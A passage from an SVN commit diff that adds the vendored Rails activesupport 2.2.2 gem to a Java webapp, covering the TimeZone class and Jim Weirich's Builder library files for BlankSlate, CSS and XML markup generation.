+        "Nuku'alofa"                   => "Pacific/Tongatapu"
+      }.each { |name, zone| name.freeze; zone.freeze }
+      MAPPING.freeze
+    end
+
+    include Comparable
+    attr_reader :name
+
+    # Create a new TimeZone object with the given name and offset. The
+    # offset is the number of seconds that this time zone is offset from UTC
+    # (GMT). Seconds were chosen as the offset unit because that is the unit that
+    # Ruby uses to represent time zone offsets (see Time#utc_offset).
+    def initialize(name, utc_offset, tzinfo = nil)
+      @name = name
+      @utc_offset = utc_offset
+      @tzinfo = tzinfo
+    end
+
+    def utc_offset
+      @utc_offset ||= tzinfo.current_period.utc_offset
+    end
+
+    # Returns the offset of this time zone as a formatted string, of the
+    # format "+HH:MM".
+    def formatted_offset(colon=true, alternate_utc_string = nil)
+      utc_offset == 0 && alternate_utc_string || utc_offset.to_utc_offset_s(colon)
+    end
+
+    # Compare this time zone to the parameter. The two are comapred first on
+    # their offsets, and then by name.
+    def <=>(zone)
+      result = (utc_offset <=> zone.utc_offset)
+      result = (name <=> zone.name) if result == 0
+      result
+    end
+
+    # Compare #name and TZInfo identifier to a supplied regexp, returning true
+    # if a match is found.
+    def =~(re)
+      return true if name =~ re || MAPPING[name] =~ re
+    end
+
+    # Returns a textual representation of this time zone.
+    def to_s
+      "(GMT#{formatted_offset}) #{name}"
+    end
+
+    # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from given values. Example:
+    #
+    #   Time.zone = "Hawaii"                      # => "Hawaii"
+    #   Time.zone.local(2007, 2, 1, 15, 30, 45)   # => Thu, 01 Feb 2007 15:30:45 HST -10:00
+    def local(*args)
+      time = Time.utc_time(*args)
+      ActiveSupport::TimeWithZone.new(nil, self, time)
+    end
+
+    # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from number of seconds since the Unix epoch. Example:
+    #
+    #   Time.zone = "Hawaii"        # => "Hawaii"
+    #   Time.utc(2000).to_f         # => 946684800.0
+    #   Time.zone.at(946684800.0)   # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    def at(secs)
+      utc = Time.at(secs).utc rescue DateTime.civil(1970).since(secs)
+      utc.in_time_zone(self)
+    end
+
+    # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from parsed string. Example:
+    #
+    #   Time.zone = "Hawaii"                      # => "Hawaii"
+    #   Time.zone.parse('1999-12-31 14:00:00')    # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    #
+    # If upper components are missing from the string, they are supplied from TimeZone#now:
+    #
+    #   Time.zone.now                 # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    #   Time.zone.parse('22:30:00')   # => Fri, 31 Dec 1999 22:30:00 HST -10:00
+    def parse(str, now=now)
+      date_parts = Date._parse(str)
+      return if date_parts.blank?
+      time = Time.parse(str, now) rescue DateTime.parse(str)
+      if date_parts[:offset].nil?
+        ActiveSupport::TimeWithZone.new(nil, self, time)
+      else
+        time.in_time_zone(self)
+      end
+    end
+
+    # Returns an ActiveSupport::TimeWithZone instance representing the current time
+    # in the time zone represented by +self+. Example:
+    #
+    #   Time.zone = 'Hawaii'  # => "Hawaii"
+    #   Time.zone.now         # => Wed, 23 Jan 2008 20:24:27 HST -10:00
+    def now
+      Time.now.utc.in_time_zone(self)
+    end
+
+    # Return the current date in this time zone.
+    def today
+      tzinfo.now.to_date
+    end
+
+    # Adjust the given time to the simultaneous time in the time zone represented by +self+. Returns a
+    # Time.utc() instance -- if you want an ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
+    def utc_to_local(time)
+      tzinfo.utc_to_local(time)
+    end
+
+    # Adjust the given time to the simultaneous time in UTC. Returns a Time.utc() instance.
+    def local_to_utc(time, dst=true)
+      tzinfo.local_to_utc(time, dst)
+    end
+
+    # Available so that TimeZone instances respond like TZInfo::Timezone instances
+    def period_for_utc(time)
+      tzinfo.period_for_utc(time)
+    end
+
+    # Available so that TimeZone instances respond like TZInfo::Timezone instances
+    def period_for_local(time, dst=true)
+      tzinfo.period_for_local(time, dst)
+    end
+
+    # TODO: Preload instead of lazy load for thread safety
+    def tzinfo
+      @tzinfo ||= TZInfo::Timezone.get(MAPPING[name])
+    end
+
+    unless const_defined?(:ZONES)
+      ZONES = []
+      ZONES_MAP = {}
+      [[-39_600, "International Date Line West", "Midway Island", "Samoa" ],
+       [-36_000, "Hawaii" ],
+       [-32_400, "Alaska" ],
+       [-28_800, "Pacific Time (US & Canada)", "Tijuana" ],
+       [-25_200, "Mountain Time (US & Canada)", "Chihuahua", "Mazatlan",
+                 "Arizona" ],
+       [-21_600, "Central Time (US & Canada)", "Saskatchewan", "Guadalajara",
+                 "Mexico City", "Monterrey", "Central America" ],
+       [-18_000, "Eastern Time (US & Canada)", "Indiana (East)", "Bogota",
+                 "Lima", "Quito" ],
+       [-16_200, "Caracas" ],
+       [-14_400, "Atlantic Time (Canada)", "La Paz", "Santiago" ],
+       [-12_600, "Newfoundland" ],
+       [-10_800, "Brasilia", "Buenos Aires", "Georgetown", "Greenland" ],
+       [ -7_200, "Mid-Atlantic" ],
+       [ -3_600, "Azores", "Cape Verde Is." ],
+       [      0, "Dublin", "Edinburgh", "Lisbon", "London", "Casablanca",
+                 "Monrovia", "UTC" ],
+       [  3_600, "Belgrade", "Bratislava", "Budapest", "Ljubljana", "Prague",
+                 "Sarajevo", "Skopje", "Warsaw", "Zagreb", "Brussels",
+                 "Copenhagen", "Madrid", "Paris", "Amsterdam", "Berlin",
+                 "Bern", "Rome", "Stockholm", "Vienna",
+                 "West Central Africa" ],
+       [  7_200, "Bucharest", "Cairo", "Helsinki", "Kyev", "Riga", "Sofia",
+                 "Tallinn", "Vilnius", "Athens", "Istanbul", "Minsk",
+                 "Jerusalem", "Harare", "Pretoria" ],
+       [ 10_800, "Moscow", "St. Petersburg", "Volgograd", "Kuwait", "Riyadh",
+                 "Nairobi", "Baghdad" ],
+       [ 12_600, "Tehran" ],
+       [ 14_400, "Abu Dhabi", "Muscat", "Baku", "Tbilisi", "Yerevan" ],
+       [ 16_200, "Kabul" ],
+       [ 18_000, "Ekaterinburg", "Islamabad", "Karachi", "Tashkent" ],
+       [ 19_800, "Chennai", "Kolkata", "Mumbai", "New Delhi", "Sri Jayawardenepura" ],
+       [ 20_700, "Kathmandu" ],
+       [ 21_600, "Astana", "Dhaka", "Almaty",
+                 "Novosibirsk" ],
+       [ 23_400, "Rangoon" ],
+       [ 25_200, "Bangkok", "Hanoi", "Jakarta", "Krasnoyarsk" ],
+       [ 28_800, "Beijing", "Chongqing", "Hong Kong", "Urumqi",
+                 "Kuala Lumpur", "Singapore", "Taipei", "Perth", "Irkutsk",
+                 "Ulaan Bataar" ],
+       [ 32_400, "Seoul", "Osaka", "Sapporo", "Tokyo", "Yakutsk" ],
+       [ 34_200, "Darwin", "Adelaide" ],
+       [ 36_000, "Canberra", "Melbourne", "Sydney", "Brisbane", "Hobart",
+                 "Vladivostok", "Guam", "Port Moresby" ],
+       [ 39_600, "Magadan", "Solomon Is.", "New Caledonia" ],
+       [ 43_200, "Fiji", "Kamchatka", "Marshall Is.", "Auckland",
+                 "Wellington" ],
+       [ 46_800, "Nuku'alofa" ]].
+      each do |offset, *places|
+        places.each do |place|
+          place.freeze
+          zone = new(place, offset)
+          ZONES << zone
+          ZONES_MAP[place] = zone
+        end
+      end
+      ZONES.sort!
+      ZONES.freeze
+      ZONES_MAP.freeze
+
+      US_ZONES = ZONES.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ }
+      US_ZONES.freeze
+    end
+
+    class << self
+      alias_method :create, :new
+
+      # Return a TimeZone instance with the given name, or +nil+ if no
+      # such TimeZone instance exists. (This exists to support the use of
+      # this class with the +composed_of+ macro.)
+      def new(name)
+        self[name]
+      end
+
+      # Return an array of all TimeZone objects. There are multiple
+      # TimeZone objects per time zone, in many cases, to make it easier
+      # for users to find their own time zone.
+      def all
+        ZONES
+      end
+
+      # Locate a specific time zone object. If the argument is a string, it
+      # is interpreted to mean the name of the timezone to locate. If it is a
+      # numeric value it is either the hour offset, or the second offset, of the
+      # timezone to find. (The first one with that offset will be returned.)
+      # Returns +nil+ if no such time zone is known to the system.
+      def [](arg)
+        case arg
+          when String
+            ZONES_MAP[arg]
+          when Numeric, ActiveSupport::Duration
+            arg *= 3600 if arg.abs <= 13
+            all.find { |z| z.utc_offset == arg.to_i }
+          else
+            raise ArgumentError, "invalid argument to TimeZone[]: #{arg.inspect}"
+        end
+      end
+
+      # A convenience method for returning a collection of TimeZone objects
+      # for time zones in the USA.
+      def us_zones
+        US_ZONES
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/values/unicode_tables.dat
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/values/unicode_tables.dat
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/blankslate.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/blankslate.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/blankslate.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,113 @@
+#!/usr/bin/env ruby
+#--
+# Copyright 2004, 2006 by Jim Weirich (jim at weirichhouse.org).
+# All rights reserved.
+
+# Permission is granted for use, copying, modification, distribution,
+# and distribution of modified versions of this work as long as the
+# above copyright notice is included.
+#++
+
+######################################################################
+# BlankSlate provides an abstract base class with no predefined
+# methods (except for <tt>\_\_send__</tt> and <tt>\_\_id__</tt>).
+# BlankSlate is useful as a base class when writing classes that
+# depend upon <tt>method_missing</tt> (e.g. dynamic proxies).
+#
+class BlankSlate
+  class << self
+
+    # Hide the method named +name+ in the BlankSlate class.  Don't
+    # hide +instance_eval+ or any method beginning with "__".
+    def hide(name)
+      if instance_methods.include?(name.to_s) and
+        name !~ /^(__|instance_eval)/
+        @hidden_methods ||= {}
+        @hidden_methods[name.to_sym] = instance_method(name)
+        undef_method name
+      end
+    end
+
+    def find_hidden_method(name)
+      @hidden_methods ||= {}
+      @hidden_methods[name] || superclass.find_hidden_method(name)
+    end
+
+    # Redefine a previously hidden method so that it may be called on a blank
+    # slate object.
+    def reveal(name)
+      bound_method = nil
+      unbound_method = find_hidden_method(name)
+      fail "Don't know how to reveal method '#{name}'" unless unbound_method
+      define_method(name) do |*args|
+        bound_method ||= unbound_method.bind(self)
+        bound_method.call(*args)
+      end
+    end
+  end
+
+  instance_methods.each { |m| hide(m) }
+end
+
+######################################################################
+# Since Ruby is very dynamic, methods added to the ancestors of
+# BlankSlate <em>after BlankSlate is defined</em> will show up in the
+# list of available BlankSlate methods.  We handle this by defining a
+# hook in the Object and Kernel classes that will hide any method
+# defined after BlankSlate has been loaded.
+#
+module Kernel
+  class << self
+    alias_method :blank_slate_method_added, :method_added
+
+    # Detect method additions to Kernel and remove them in the
+    # BlankSlate class.
+    def method_added(name)
+      result = blank_slate_method_added(name)
+      return result if self != Kernel
+      BlankSlate.hide(name)
+      result
+    end
+  end
+end
+
+######################################################################
+# Same as above, except in Object.
+#
+class Object
+  class << self
+    alias_method :blank_slate_method_added, :method_added
+
+    # Detect method additions to Object and remove them in the
+    # BlankSlate class.
+    def method_added(name)
+      result = blank_slate_method_added(name)
+      return result if self != Object
+      BlankSlate.hide(name)
+      result
+    end
+
+    def find_hidden_method(name)
+      nil
+    end
+  end
+end
+
+######################################################################
+# Also, modules included into Object need to be scanned and have their
+# instance methods removed from blank slate.  In theory, modules
+# included into Kernel would have to be removed as well, but a
+# "feature" of Ruby prevents late includes into modules from being
+# exposed in the first place.
+#
+class Module
+  alias blankslate_original_append_features append_features
+  def append_features(mod)
+    result = blankslate_original_append_features(mod)
+    return result if mod != Object
+    instance_methods.each do |name|
+      BlankSlate.hide(name)
+    end
+    result
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/blankslate.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/blankslate.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/blankslate.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+#!/usr/bin/env ruby
+#--
+# Copyright 2004, 2006 by Jim Weirich (jim at weirichhouse.org).
+# All rights reserved.
+
+# Permission is granted for use, copying, modification, distribution,
+# and distribution of modified versions of this work as long as the
+# above copyright notice is included.
+#++
+
+require 'blankslate'
+
+######################################################################
+# BlankSlate has been promoted to a top level name and is now
+# available as a standalone gem.  We make the name available in the
+# Builder namespace for compatibility.
+#
+module Builder
+  BlankSlate = ::BlankSlate
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/css.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/css.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/css.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,250 @@
+#!/usr/bin/env ruby
+#--
+# Copyright 2004, 2005 by Jim Weirich  (jim at weirichhouse.org).
+# Copyright       2005 by Scott Barron (scott at elitists.net).
+# All rights reserved.
+#
+# Permission is granted for use, copying, modification, distribution,
+# and distribution of modified versions of this work as long as the
+# above copyright notice is included.
+#
+# Much of this is taken from Jim's work in xmlbase.rb and xmlmarkup.rb.
+# Documentation has also been copied and pasted and modified to reflect
+# that we're building CSS here instead of XML.  Jim is conducting the
+# orchestra here and I'm just off in the corner playing a flute.
+#++
+
+# Provide a flexible and easy to use Builder for creating Cascading
+# Style Sheets (CSS).
+
+
+require 'builder/blankslate'
+
+module Builder
+
+  # Create a Cascading Style Sheet (CSS) using Ruby.
+  #
+  # Example usage:
+  #
+  #   css = Builder::CSS.new
+  #
+  #   text_color      = '#7F7F7F'
+  #   preferred_fonts = 'Helvetica, Arial, sans_serif'
+  #
+  #   css.comment! 'This is our stylesheet'
+  #   css.body {
+  #     background_color '#FAFAFA'
+  #     font_size        'small'
+  #     font_family      preferred_fonts
+  #     color            text_color
+  #   }
+  #
+  #   css.id!('navbar') {
+  #     width            '500px'
+  #   }
+  #
+  #   css.class!('navitem') {
+  #     color            'red'
+  #   }
+  #
+  #   css.a :hover {
+  #     text_decoration  'underline'
+  #   }
+  #
+  #   css.div(:id => 'menu') {
+  #     background       'green'
+  #   }
+  #
+  #   css.div(:class => 'foo') {
+  #     background       'red'
+  #   }
+  #
+  # This will yield the following stylesheet:
+  #
+  #   /* This is our stylesheet */
+  #   body {
+  #     background_color: #FAFAFA;
+  #     font_size:        small;
+  #     font_family:      Helvetica, Arial, sans_serif;
+  #     color:            #7F7F7F;
+  #   }
+  #
+  #   #navbar {
+  #     width:            500px;
+  #   }
+  #
+  #   .navitem {
+  #     color:            red;
+  #   }
+  #
+  #   a:hover {
+  #     text_decoration:  underline;
+  #   }
+  #
+  #   div#menu {
+  #     background:       green;
+  #   }
+  #
+  #   div.foo {
+  #     background:       red;
+  #   }
+  #
+  class CSS < BlankSlate
+
+    # Create a CSS builder.
+    #
+    # out::     Object receiving the markup.1  +out+ must respond to
+    #           <tt><<</tt>.
+    # indent::  Number of spaces used for indentation (0 implies no
+    #           indentation and no line breaks).
+    #
+    def initialize(indent=2)
+      @indent      = indent
+      @target      = []
+      @parts       = []
+      @library     = {}
+    end
+
+    def +(part)
+      _join_with_op! '+'
+      self
+    end
+
+    def >>(part)
+      _join_with_op! ''
+      self
+    end
+
+    def >(part)
+      _join_with_op! '>'
+      self
+    end
+
+    def |(part)
+      _join_with_op! ','
+      self
+    end
+
+    # Return the target of the builder
+    def target!
+      @target * ''
+    end
+
+    # Create a comment string in the output.
+    def comment!(comment_text)
+      @target << "/* #{comment_text} */\n"
+    end
+
+    def id!(arg, &block)
+      _start_container('#'+arg.to_s, nil, block_given?)
+      _css_block(block) if block
+      _unify_block
+      self
+    end
+
+    def class!(arg, &block)
+      _start_container('.'+arg.to_s, nil, block_given?)
+      _css_block(block) if block
+      _unify_block
+      self
+    end
+
+    def store!(sym, &block)
+      @library[sym] = block.to_proc
+    end
+
+    def group!(*args, &block)
+      args.each do |arg|
+        if arg.is_a?(Symbol)
+          instance_eval(&@library[arg])
+        else
+          instance_eval(&arg)
+        end
+        _text ', ' unless arg == args.last
+      end
+      if block
+        _css_block(block)
+        _unify_block
+      end
+    end
+
+    def method_missing(sym, *args, &block)
+      sym = "#{sym}:#{args.shift}" if args.first.kind_of?(Symbol)
+      if block
+        _start_container(sym, args.first)
+        _css_block(block)
+        _unify_block
+      elsif @in_block
+        _indent
+        _css_line(sym, *args)
+        _newline
+        return self
+      else
+        _start_container(sym, args.first, false)
+        _unify_block
+      end
+      self
+    end
+
+    # "Cargo culted" from Jim who also "cargo culted" it.  See xmlbase.rb.
+    def nil?
+      false
+    end
+
+    private
+    def _unify_block
+      @target << @parts * ''
+      @parts = []
+    end
+
+    def _join_with_op!(op)
+      rhs, lhs = @target.pop, @target.pop
+      @target << "#{lhs} #{op} #{rhs}"
+    end
+
+    def _text(text)
+      @parts << text
+    end
+
+    def _css_block(block)
+      _newline
+      _nested_structures(block)
+      _end_container
+      _end_block
+    end
+
+    def _end_block
+      _newline
+      _newline
+    end
+
+    def _newline
+      _text "\n"
+    end
+
+    def _indent
+      _text ' ' * @indent
+    end
+
+    def _nested_structures(block)
+      @in_block = true
+      self.instance_eval(&block)
+      @in_block = false
+    end
+
+    def _start_container(sym, atts = {}, with_bracket = true)
+      selector = sym.to_s
+      selector << ".#{atts[:class]}" if atts && atts[:class]
+      selector << '#' + "#{atts[:id]}" if atts && atts[:id]
+      @parts << "#{selector}#{with_bracket ? ' {' : ''}"
+    end
+
+    def _end_container
+      @parts << "}"
+    end
+
+    def _css_line(sym, *args)
+      _text("#{sym.to_s.gsub('_','-')}: #{args * ' '};")
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/xchar.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/xchar.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/xchar.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,115 @@
+#!/usr/bin/env ruby
+
+# The XChar library is provided courtesy of Sam Ruby (See
+# http://intertwingly.net/stories/2005/09/28/xchar.rb)
+
+# --------------------------------------------------------------------
+
+# If the Builder::XChar module is not currently defined, fail on any
+# name clashes in standard library classes.
+
+module Builder
+  def self.check_for_name_collision(klass, method_name, defined_constant=nil)
+    if klass.instance_methods.include?(method_name.to_s)
+      fail RuntimeError,
+	"Name Collision: Method '#{method_name}' is already defined in #{klass}"
+    end
+  end
+end
+
+if ! defined?(Builder::XChar)
+  Builder.check_for_name_collision(String, "to_xs")
+  Builder.check_for_name_collision(Fixnum, "xchr")
+end
+
+######################################################################
+module Builder
+
+  ####################################################################
+  # XML Character converter, from Sam Ruby:
+  # (see http://intertwingly.net/stories/2005/09/28/xchar.rb).
+  #
+  module XChar # :nodoc:
+
+    # See
+    # http://intertwingly.net/stories/2004/04/14/i18n.html#CleaningWindows
+    # for details.
+    CP1252 = {			# :nodoc:
+      128 => 8364,		# euro sign
+      130 => 8218,		# single low-9 quotation mark
+      131 =>  402,		# latin small letter f with hook
+      132 => 8222,		# double low-9 quotation mark
+      133 => 8230,		# horizontal ellipsis
+      134 => 8224,		# dagger
+      135 => 8225,		# double dagger
+      136 =>  710,		# modifier letter circumflex accent
+      137 => 8240,		# per mille sign
+      138 =>  352,		# latin capital letter s with caron
+      139 => 8249,		# single left-pointing angle quotation mark
+      140 =>  338,		# latin capital ligature oe
+      142 =>  381,		# latin capital letter z with caron
+      145 => 8216,		# left single quotation mark
+      146 => 8217,		# right single quotation mark
+      147 => 8220,		# left double quotation mark
+      148 => 8221,		# right double quotation mark
+      149 => 8226,		# bullet
+      150 => 8211,		# en dash
+      151 => 8212,		# em dash
+      152 =>  732,		# small tilde
+      153 => 8482,		# trade mark sign
+      154 =>  353,		# latin small letter s with caron
+      155 => 8250,		# single right-pointing angle quotation mark
+      156 =>  339,		# latin small ligature oe
+      158 =>  382,		# latin small letter z with caron
+      159 =>  376,		# latin capital letter y with diaeresis
+    }
+
+    # See http://www.w3.org/TR/REC-xml/#dt-chardata for details.
+    PREDEFINED = {
+      38 => '&amp;',		# ampersand
+      60 => '&lt;',		# left angle bracket
+      62 => '&gt;',		# right angle bracket
+    }
+
+    # See http://www.w3.org/TR/REC-xml/#charsets for details.
+    VALID = [
+      0x9, 0xA, 0xD,
+      (0x20..0xD7FF),
+      (0xE000..0xFFFD),
+      (0x10000..0x10FFFF)
+    ]
+  end
+
+end
+
+
+######################################################################
+# Enhance the Fixnum class with a XML escaped character conversion.
+#
+class Fixnum
+  XChar = Builder::XChar if ! defined?(XChar)
+
+  # XML escaped version of chr
+  def xchr
+    n = XChar::CP1252[self] || self
+    case n when *XChar::VALID
+      XChar::PREDEFINED[n] or (n<128 ? n.chr : "&##{n};")
+    else
+      '*'
+    end
+  end
+end
+
+
+######################################################################
+# Enhance the String class with a XML escaped character version of
+# to_s.
+#
+class String
+  # XML escaped version of to_s
+  def to_xs
+    unpack('U*').map {|n| n.xchr}.join # ASCII, UTF-8
+  rescue
+    unpack('C*').map {|n| n.xchr}.join # ISO-8859-1, WIN-1252
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/xmlbase.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/xmlbase.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/xmlbase.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,139 @@
+#!/usr/bin/env ruby
+
+require 'builder/blankslate'
+
+module Builder
+
+  # Generic error for builder
+  class IllegalBlockError < RuntimeError; end
+
+  # XmlBase is a base class for building XML builders.  See
+  # Builder::XmlMarkup and Builder::XmlEvents for examples.
+  class XmlBase < BlankSlate
+
+    # Create an XML markup builder.
+    #
+    # out::     Object receiving the markup.  +out+ must respond to
+    #           <tt><<</tt>.
+    # indent::  Number of spaces used for indentation (0 implies no
+    #           indentation and no line breaks).
+    # initial:: Level of initial indentation.
+    #
+    def initialize(indent=0, initial=0)
+      @indent = indent
+      @level  = initial
+    end
+
+    # Create a tag named +sym+.  Other than the first argument which
+    # is the tag name, the arguments are the same as the tags
+    # implemented via <tt>method_missing</tt>.
+    def tag!(sym, *args, &block)
+      method_missing(sym.to_sym, *args, &block)
+    end
+
+    # Create XML markup based on the name of the method.  This method
+    # is never invoked directly, but is called for each markup method
+    # in the markup block.
+    def method_missing(sym, *args, &block)
+      text = nil
+      attrs = nil
+      sym = "#{sym}:#{args.shift}" if args.first.kind_of?(Symbol)
+      args.each do |arg|
+        case arg
+        when Hash
+          attrs ||= {}
+          attrs.merge!(arg)
+        else
+          text ||= ''
+          text << arg.to_s
+        end
+      end
+      if block
+        unless text.nil?
+          raise ArgumentError, "XmlMarkup cannot mix a text argument with a block"
+        end
+        _indent
+        _start_tag(sym, attrs)
+        _newline
+        _nested_structures(block)
+        _indent
+        _end_tag(sym)
+        _newline
+      elsif text.nil?
+        _indent
+        _start_tag(sym, attrs, true)
+        _newline
+      else
+        _indent
+        _start_tag(sym, attrs)
+        text! text
+        _end_tag(sym)
+        _newline
+      end
+      @target
+    end
+
+    # Append text to the output target.  Escape any markup.  May be
+    # used within the markup brackets as:
+    #
+    #   builder.p { |b| b.br; b.text! "HI" }   #=>  <p><br/>HI</p>
+    def text!(text)
+      _text(_escape(text))
+    end
+
+    # Append text to the output target without escaping any markup.
+    # May be used within the markup brackets as:
+    #
+    #   builder.p { |x| x << "<br/>HI" }   #=>  <p><br/>HI</p>
+    #
+    # This is useful when using non-builder enabled software that
+    # generates strings.  Just insert the string directly into the
+    # builder without changing the inserted markup.
+    #
+    # It is also useful for stacking builder objects.  Builders only
+    # use <tt><<</tt> to append to the target, so by supporting this
+    # method/operation builders can use other builders as their
+    # targets.
+    def <<(text)
+      _text(text)
+    end
+
+    # For some reason, nil? is sent to the XmlMarkup object.  If nil?
+    # is not defined and method_missing is invoked, some strange kind
+    # of recursion happens.  Since nil? won't ever be an XML tag, it
+    # is pretty safe to define it here. (Note: this is an example of
+    # cargo cult programming,
+    # cf. http://fishbowl.pastiche.org/2004/10/13/cargo_cult_programming).
+    def nil?
+      false
+    end
+
+    private
+
+    require 'builder/xchar'
+    def _escape(text)
+      text.to_xs
+    end
+
+    def _escape_quote(text)
+      _escape(text).gsub(%r{"}, '&quot;')  # " WART
+    end
+
+    def _newline
+      return if @indent == 0
+      text! "\n"
+    end
+
+    def _indent
+      return if @indent == 0 || @level == 0
+      text!(" " * (@level * @indent))
+    end
+
+    def _nested_structures(block)
+      @level += 1
+      block.call(self)
+    ensure
+      @level -= 1
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/xmlevents.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/xmlevents.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/xmlevents.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,63 @@
+#!/usr/bin/env ruby
+
+#--
+# Copyright 2004 by Jim Weirich (jim at weirichhouse.org).
+# All rights reserved.
+
+# Permission is granted for use, copying, modification, distribution,
+# and distribution of modified versions of this work as long as the
+# above copyright notice is included.
+#++
+
+require 'builder/xmlmarkup'
+
+module Builder
+
+  # Create a series of SAX-like XML events (e.g. start_tag, end_tag)
+  # from the markup code.  XmlEvent objects are used in a way similar
+  # to XmlMarkup objects, except that a series of events are generated
+  # and passed to a handler rather than generating character-based
+  # markup.
+  #
+  # Usage:
+  #   xe = Builder::XmlEvents.new(handler)
+  #   xe.title("HI")    # Sends start_tag/end_tag/text messages to the handler.
+  #
+  # Indentation may also be selected by providing value for the
+  # indentation size and initial indentation level.
+  #
+  #   xe = Builder::XmlEvents.new(handler, indent_size, initial_indent_level)
+  #
+  # == XML Event Handler
+  #
+  # The handler object must expect the following events.
+  #
+  # [<tt>start_tag(tag, attrs)</tt>]
+  #     Announces that a new tag has been found.  +tag+ is the name of
+  #     the tag and +attrs+ is a hash of attributes for the tag.
+  #
+  # [<tt>end_tag(tag)</tt>]
+  #     Announces that an end tag for +tag+ has been found.
+  #
+  # [<tt>text(text)</tt>]
+  #     Announces that a string of characters (+text+) has been found.
+  #     A series of characters may be broken up into more than one
+  #     +text+ call, so the client cannot assume that a single
+  #     callback contains all the text data.
+  #
+  class XmlEvents < XmlMarkup
+    def text!(text)
+      @target.text(text)
+    end
+
+    def _start_tag(sym, attrs, end_too=false)
+      @target.start_tag(sym, attrs)
+      _end_tag(sym) if end_too
+    end
+
+    def _end_tag(sym)
+      @target.end_tag(sym)
+    end
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/xmlmarkup.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/xmlmarkup.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder/xmlmarkup.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,328 @@
+#!/usr/bin/env ruby
+#--
+# Copyright 2004, 2005 by Jim Weirich (jim at weirichhouse.org).
+# All rights reserved.
+
+# Permission is granted for use, copying, modification, distribution,
+# and distribution of modified versions of this work as long as the
+# above copyright notice is included.
+#++
+
+# Provide a flexible and easy to use Builder for creating XML markup.
+# See XmlBuilder for usage details.
+
+require 'builder/xmlbase'
+
+module Builder
+
+  # Create XML markup easily.  All (well, almost all) methods sent to
+  # an XmlMarkup object will be translated to the equivalent XML
+  # markup.  Any method with a block will be treated as an XML markup
+  # tag with nested markup in the block.
+  #
+  # Examples will demonstrate this easier than words.  In the
+  # following, +xm+ is an +XmlMarkup+ object.
+  #
+  #   xm.em("emphasized")             # => <em>emphasized</em>
+  #   xm.em { xmm.b("emp & bold") }   # => <em><b>emph &amp; bold</b></em>
+  #   xm.a("A Link", "href"=>"http://onestepback.org")
+  #                                   # => <a href="http://onestepback.org">A Link</a>
+  #   xm.div { br }                    # => <div><br/></div>
